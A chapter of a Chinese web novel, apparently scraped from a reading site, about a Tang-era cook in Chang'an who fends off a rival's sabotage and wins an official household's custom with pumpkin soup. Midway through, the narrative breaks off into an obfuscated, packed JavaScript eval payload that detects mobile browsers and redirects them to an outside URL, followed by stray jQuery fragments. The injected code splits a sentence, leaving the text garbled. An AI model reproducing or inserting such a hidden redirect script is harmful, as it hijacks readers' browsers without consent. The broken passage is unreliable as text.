暖寒会的成功，如同给沈记食肆注入了一剂强心针。不仅带来了丰厚的收入，更重要的是，沈知意和她的“胡麻髓饼”、“炙羊肉串”在西市乃至部分胡商圈子里，真正打响了名号。


    接下来几日，食肆的生意明显更上一层楼。


    不仅老主顾来得更勤，还多了不少生面孔，有些是那日在暖寒会上尝过鲜的回头客，有些则是慕名而来。甚至有两三家小酒馆的掌柜也寻上门来，试探着询问能否每日固定供应一些髓饼和肉串。


    沈知意谨慎地接下了其中两家信誉较好、位置稍远的订单，每日限量供应，价格也略有上浮。这又是一笔稳定的进项。


    大牛和栓子这两个临时雇工，因着干活卖力、人也老实，沈知意便与他们说定，日后店中若有重活或需外出帮工，优先请他们，日结工钱。两人自是欢喜应下。


    邹娘子经过暖寒会一番历练，胆子似乎也大了些，手脚愈发麻利，偶尔还能帮着招呼一下熟客。福伯脸上的愁容也淡了许多，算账时嘴角常带着笑。


    一切似乎都在朝着好的方向发展。沈知意甚至开始盘算，等再攒些钱，或许真能将隔壁那间小隔间彻底租下来，打通之后，店面能宽敞不少。


    然而，她并未被这暂时的顺遂冲昏头脑。张胖子和黑蝎子那日阴狠的眼神，如同悬在头顶的阴影，时刻提醒着她。她依旧每日亲自查验采购的食材，叮嘱福伯和邹娘子多加小心。


    这日傍晚，打烊之后，沈知意正在清洗灶台，忽见浆饮铺的阿婆端着一碗热浆，神色有些不安地走了进来。


    “六娘，”阿婆压低声音，将浆碗塞给她，“方才老身见那张胖子鬼鬼祟祟地在后巷，跟一个面生的货郎嘀嘀咕咕，还塞了包东西给那人……老身瞧着不像好事，你可得当心些！”


    沈知意心中一凛，连忙谢过阿婆。后巷是堆放杂物和倾倒污水的地方，平日除了收夜香的，少有外人去。张胖子与陌生货郎在那里私下交易，绝非寻常。


    她立刻让福伯悄悄去后巷查看。福伯回来时，脸色凝重，手里捏着一小撮褐色的粉末：“六娘，你看……在墙角发现的，闻着有点怪味，不像是寻常尘土。”


    沈知意接过粉末，仔细嗅了嗅，有一股极淡的、难以形容的酸涩气味。她心中警铃大作，这绝非什么好东西！


    “从明日起，后巷也需每日清扫查看，但凡有可疑之物，立刻处理掉。”她沉声吩咐，心中那股不安愈发强烈。对方一次不成，竟用如此鬼蜮伎俩，防不胜防。


    必须想办法破局，坐以待毙，迟早会中招。


    她思忖良久，将目光再次投向了那位曾订过寿宴点心的李校书府上。如今她与府上采办已算相熟，或许可以借此再进一步？


    次日，她特意多做了几样新琢磨的清淡点心，用食盒装好，又包上几枚品相最好的“水晶龙凤糕”，让福伯趁着送髓饼的机会，一并送至李府，只言是感谢往日关照，请老夫人尝个新鲜。


    傍晚，福伯回来时，脸上带着喜色：“六娘，李府老夫人收了点心，很是欢喜，让管家传话说谢谢小娘子惦记。那管家还私下跟我说，老夫人近日胃口又有些不好，嘴里发苦，大夫说了需饮食清淡，但又不能无味，府里厨子正发愁呢……”


    老夫人胃口不佳？沈知意心中一动。这或许是个机会！


    她沉思片刻，忽然想起前世一种广受欢迎的羹汤，南瓜羹。南瓜此时虽已传入，但多被视为粗贱之物，或蒸或煮，少有精细做法。其性甘温，健脾和胃，口感绵软清甜，正适合脾胃虚弱的老人。


    若能以此做出一道既符合贵府要求，又美味新颖的羹品……


    说干就干。她立刻让福伯去寻了些品相好的老南瓜，又买了些杏仁、牛乳。


    她将南瓜去皮去瓤，切块蒸熟，碾成细腻的瓜泥。用纱布过滤掉粗纤维，得到极其顺滑的南瓜茸。另取少量杏仁，温水浸泡后去皮，磨成杏仁浆，同样过滤。


    锅中加入少量清水和牛乳，缓缓倒入南瓜茸，小火慢搅，使其渐渐浓稠。再加入杏仁浆和少许饴糖，继续熬煮，直至羹体顺滑，香气融合。最后滴入一两滴芝麻油增香。


    一锅色泽金黄、口感绵密、味道清甜醇厚、带着淡淡杏仁奶香的“金玉满堂羹”便做好了。


    其名既应了南瓜的金色，又寓意吉祥，最适合老人食用。


    沈知意仔细将羹汤盛入一个干净的白瓷盅里，盖好保温，又附上一张简要的食笺，说明用料与功效，让福伯立刻再跑一趟李府，只说小店新试的暖胃羹汤，请老夫人品鉴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429403|184455||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    指点，万勿推辞。


    福伯虽觉一日之内连跑两趟有些冒昧，但见沈知意神色坚决，也知事关重大，连忙去了。


    这一次，福伯去了许久方回。回来时，脸上带着难以置信的兴奋：“六娘！成了！成了！老夫人喝了那羹，竟一口气用了小半盅！直说香甜滑润，嘴里也不苦了！李夫人大喜，当场赏了老仆一百文钱！还、还说……”


    他喘了口气，“还说日后府中老夫人的饮食，若厨子不得法，或要时常劳烦小娘子费心调制一些清淡可口的汤羹点心！价钱好说！”


    沈知意闻言，长舒一口气，心中一块大石落地。这一步，她赌对了！能搭上李府老夫人日常饮食这条线，无疑是一道极其重要的护身符。即便虎爷之流再想动她，也得掂量掂量是否会得罪官家内眷。


    “福伯，辛苦了。”她接过赏钱，心中已有了计较，“明日开始，每日清晨，你便送一小盅新熬的‘金玉满堂羹’或类似的清淡膳食去李府，风雨无阻。价钱嘛……按成本稍加即可，不必多取。”


    “哎！好！好！”


    福伯连连点头，老脸笑得如同菊花绽放。


    自此，沈记食肆每日清晨，便多了一项固定送往李府的“外卖”。


    有时是南瓜羹，有时是山药粥，有时是精心炖制的清淡汤品。沈知意极尽巧思，变换花样，既保证口味清淡易消化，又注重营养搭配，深得老夫人欢心。李府给的报酬也颇为丰厚，且时常有些额外的赏赐。


    这条稳定的高端客户线，不仅带来了可观的收入，更如同一种无声的宣告，让西市诸多势力意识到，这小小的沈记食肆背后，已隐约有了官家的影子。


    数日后，沈知意敏锐地察觉到，那些在食肆周围窥探的陌生目光似乎减少了。后巷也再未发现可疑之物。连对街张记蒸饼铺，虽然依旧门庭冷落，但张胖子那阴狠的瞪视似乎也收敛了些许。


    危机，似乎暂时缓解了。


    沈知意不敢完全放松，但她知道，自己终于在这暗流汹涌的长安西市，为自己和家人，赢得了一丝宝贵的喘息之机。


    夜色渐深，她核算着近日越发充盈的钱匣，目光落在窗外。是时候，考虑将那枚沉甸甸的、代表苏录事雪中送炭情谊的银锞子，归还回去了。